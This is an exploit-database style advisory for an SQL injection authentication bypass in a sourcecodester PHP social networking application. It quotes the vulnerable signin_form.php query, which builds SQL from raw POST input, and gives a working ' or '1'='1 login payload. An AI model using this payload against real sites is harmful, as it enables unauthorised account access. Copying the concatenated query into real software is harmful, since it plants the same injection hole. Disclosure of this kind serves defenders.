Social networking site authentication bypass (sqli) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2020-12-01 | Type : webapps | Platform : php
This exploit / vulnerability Social networking site authentication bypass (sqli) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Social Networking Site - Authentication Bypass (SQli)
# Date: 2020-11-17
# Exploit Author: gh1mau
# Email: gh1mau.rulez@gmail.com
# Team Members: Capt'N, muzzo, chaos689 | https://h0fclanmalaysia.wordpress.com/
# Vendor Homepage: https://www.sourcecodester.com/php/14601/social-networking-site-phpmysqli-full-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14601&title=Social+Networking+Site+in+PHP%2FMySQLi+with+Full+Source+Code
# Software Release Date: November 17, 2020
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)

Vulnerable File:
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/signin_form.php

Vulnerable Code:
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Entry point:

line 7: $email=$_POST['email'];
line 8: $password=$_POST['password'];

Exit point:
line 10: $result = mysqli_query($con,"SELECT * FROM user WHERE email = '$email' and password='$password'");

Vulnerable Issue:
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Attacker could bypass the authentication using simple sqli login bypass payload

username: gh1mau@gh1mau.com
password: ' or '1'='1